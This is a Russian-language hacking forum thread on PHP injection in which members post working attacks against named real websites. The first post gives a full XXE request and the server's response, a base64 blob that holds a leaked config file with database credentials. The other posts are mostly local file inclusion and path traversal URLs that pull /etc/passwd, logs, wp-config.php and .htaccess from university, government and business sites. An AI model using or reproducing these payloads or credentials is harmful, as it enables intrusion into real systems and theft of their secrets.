PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    XXE

    http://www.mymetasys.com.br

    Request

    POST /index.php/api/xmlrpc HTTP/1.1
    Host: www.mymetasys.com.br

    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ELEMENT methodName ANY >
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/srv/www/mymetasys.com.br/htdocs/app/etc/local.xml" >]>
    <methodCall>
    <methodName>&xxe;</methodName>
    </methodCall>

    Response

    Code:
    <?xml version="1.0" encoding="UTF-8"?>
    
    <methodResponse><fault><value><struct>
    <member><name>faultCode</name><value><int>620</int></value></member><member>
    <name>faultString</name><value><string>Method "PD94bWwgdmVyc2lvbj0iMS4wIj8+CjwhLS0KLyoqCiAqIE1hZ2VudG8KICoKICogTk9USUNFIE9GIExJQ0VOU0UKICoKICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBBY2FkZW1pYyBGcmVlIExpY2Vuc2UgKEFGTCAzLjApCiAqIHRoYXQgaXMgYnVuZGxlZCB3aXRoIHRoaXMgcGFja2FnZSBpbiB0aGUgZmlsZSBMSUNFTlNFX0FGTC50eHQuCiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOgogKiBodHRwOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvYWZsLTMuMC5waHAKICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG8KICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbAogKiB0byBsaWNlbnNlQG1hZ2VudG9jb21tZXJjZS5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS4KICoKICogRElTQ0xBSU1FUgogKgogKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgTWFnZW50byB0byBuZXdlcgogKiB2ZXJzaW9ucyBpbiB0aGUgZnV0dXJlLiBJZiB5b3Ugd2lzaCB0byBjdXN0b21pemUgTWFnZW50byBmb3IgeW91cgogKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cDovL3d3dy5tYWdlbnRvY29tbWVyY2UuY29tIGZvciBtb3JlIGluZm9ybWF0aW9uLgogKgogKiBAY2F0ZWdvcnkgICBNYWdlCiAqIEBwYWNrYWdlICAgIE1hZ2VfQ29yZQogKiBAY29weXJpZ2h0ICBDb3B5cmlnaHQgKGMpIDIwMDggSXJ1YmluIENvbnN1bHRpbmcgSW5jLiBEQkEgVmFyaWVuIChodHRwOi8vd3d3LnZhcmllbi5jb20pCiAqIEBsaWNlbnNlICAgIGh0dHA6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9hZmwtMy4wLnBocCAgQWNhZGVtaWMgRnJlZSBMaWNlbnNlIChBRkwgMy4wKQogKi8KLS0+Cjxjb25maWc+CiAgICA8Z2xvYmFsPgogICAgICAgIDxpbnN0YWxsPgogICAgICAgICAgICA8ZGF0ZT48IVtDREFUQVtUdWUsIDIwIEphbiAyMDA5IDE1OjQ4OjE0ICswMDAwXV0+PC9kYXRlPgogICAgICAgIDwvaW5zdGFsbD4KICAgICAgICA8Y3J5cHQ+CiAgICAgICAgICAgIDxrZXk+PCFbQ0RBVEFbbXltZXRhc3lzXV0+PC9rZXk+CiAgICAgICAgPC9jcnlwdD4KICAgICAgICA8ZGlzYWJsZV9sb2NhbF9tb2R1bGVzPmZhbHNlPC9kaXNhYmxlX2xvY2FsX21vZHVsZXM+CiAgICAgICAgPHJlc291cmNlcz4KICAgICAgICAgICAgPGRiPgogICAgICAgICAgICAgICAgPHRhYmxlX3ByZWZpeD48IVtDREFUQVtdXT48L3RhYmxlX3ByZWZpeD4KICAgICAgICAgICAgPC9kYj4KICAgICAgICAgICAgPGRlZmF1bHRfc2V0dXA+CiAgICAgICAgICAgICAgICA8Y29ubmVjdGlvbj4KICAgICAgICAgICAgICAgICAgICA8aG9zdD48IVtDREFUQVtsb2NhbGhvc3RdXT48L2hvc3Q+CiAgICAgICAgICAgICAgICAgICAgPHVzZXJuYW1lPjwhW0NEQVRBW215bWV0YXN5c11dPjwvdXNlcm5hbWU+CiAgICAgICAgICAgICAgICAgICAgPHBhc3N3b3JkPjwhW0NEQVRBW015TWVUQTIxOVBPcnRhbF1dPjwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgICAgICAgPGRibmFtZT48IVtDREFUQVtNeU1ldGFzeXNdXT48L2RibmFtZT4KICAgICAgICAgICAgICAgICAgICA8YWN0aXZlPjE8L2FjdGl2ZT4KICAgICAgICAgICAgICAgIDwvY29ubmVjdGlvbj4KICAgICAgICAgICAgPC9kZWZhdWx0X3NldHVwPgogICAgICAgIDwvcmVzb3VyY2VzPgogICAgICAgIDxzZXNzaW9uX3NhdmU+PCFbQ0RBVEFbZmlsZXNdXT48L3Nlc3Npb25fc2F2ZT4KICAgICA8L2dsb2JhbD4KICAgICA8YWRtaW4+CiAgICAgICAgPHJvdXRlcnM+CiAgICAgICAgICAgIDxhZG1pbmh0bWw+CiAgICAgICAgICAgICAgICA8YXJncz4KICAgICAgICAgICAgICAgICAgICA8ZnJvbnROYW1lPjwhW0NEQVRBW015TWFuYWdlcl1dPjwvZnJvbnROYW1lPgogICAgICAgICAgICAgICAgPC9hcmdzPgogICAgICAgICAgICA8L2FkbWluaHRtbD4KICAgICAgICA8L3JvdXRlcnM+CiAgICAgPC9hZG1pbj4KPC9jb25maWc+Cg==" does not exist</string></value></member></struct></value></fault></methodResponse>
    
    
    
     
    _________________________
    #1361 Konqi, 7 May 2013
    Last edited by a moderator: 8 May 2013
    2 people like this.
  2. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    1234
     
    #1362 OxoTnik, 13 May 2013
    Last edited: 7 Jul 2013
  3. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    Что-то снова тишина... вэйк АП


    PHP:
    http://www.ecwatech.ru/2014/index.php?content=../../../../../../../../../../usr/local/apache/logs/access_log%00
    PHP:
    http://citypipe.ru/index.php?content=../../../../../../../../../../usr/local/apache/logs/access_log%00
     
  4. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    ТИЦ: 20
    PR: 3
    PHP:
    www.ctt74.[antigoogle]ru/download.php?id=../site/includes.inc.php
     
    _________________________
  5. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    Теме ап :)

    PHP:
    http://digitizer.sourceforge.net/index.php?c=../../../../../../etc/passwd%00
     
    1 person likes this.
  6. Sladkiy

    Sladkiy New Member

    Joined:
    28 Nov 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    PHP:
    http://2013.sibico.com/index.php?content=../../../../../../../../../../etc/passwd%00
     
  7. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.bli.uci.edu/news/news.php?id=../../../../etc/passwd%00
     
  8. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://debut78.ru/index.php?pages=../../../../../etc/passwd

    //нулл байт кто должен добавить? Konqi.
    Он не требуется, OxoTnik!

    //Warning: include(pages/../../../../../etc/passwd.php) как не требуется? Оо, Konqi
    Сижу с FF, когда крутил работал без нул байта, счас просит.... я хз что произошло, но действительно до этого вообще не ставил его. //OxoTnik
    Оо, чатик... //BigBear
    привет в этом чатиге//
     
    #1368 OxoTnik, 6 Jul 2013
    Last edited by a moderator: 25 Aug 2013
    2 people like this.
  9. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://kansei.cse.ohio-state.edu/KanseiGenie/Doc/cloning.php?pageName=../../../../../etc/passwd
     
  10. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    http://9-9-9.ru/spravka.php?s=../../../../../etc/passwd%00
     
    1 person likes this.
  11. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.dist228.org/index.php?page=/etc/passwd
     
  12. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://developer.amd.com/wordpress/media/download.php?f=Li4vLi4vd3AtY29uZmlnLnBocA==

    обновим тему
     
    4 people like this.
  13. SyavaK2

    SyavaK2 New Member

    Joined:
    29 Aug 2013
    Messages:
    10
    Likes Received:
    2
    Reputations:
    1
    http://ultrastar-portal.de/html/scripts/download.php?datei=../../../../../../../../../../etc/passwd
    http://ultrastar-portal.de/html/scripts/download.php?datei=http://forum.antichat.ru
     
    #1373 SyavaK2, 18 Sep 2013
    Last edited: 19 Sep 2013
  14. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    теме АП :)

    PHP:
    http://museum.nhm.uga.edu/index.php?page=../../../../../etc/passwd%00
     
  15. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.fetakgomo.gov.za/index.php?page=/etc/passwd%00
     
  16. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    PHP:
    http://www.evisitanalyst.com/page.php?pgid=../etc/passwd%00
     
  17. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://votename.ru/site_material.php?id=../../../.htaccess
     
    1 person likes this.
  18. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.andesonline.com/andes_site/index.php?l=../../../../../../../../../../etc/passwd
     
  19. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    Доброй ночи всем :)
    PHP:
    http://www.infinitidesign.it/index.php?l=../../../../../../etc/passwd%00
     
  20. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.interuniversidades.com/actions/user/?f=../../../../../../../../../../etc/passwd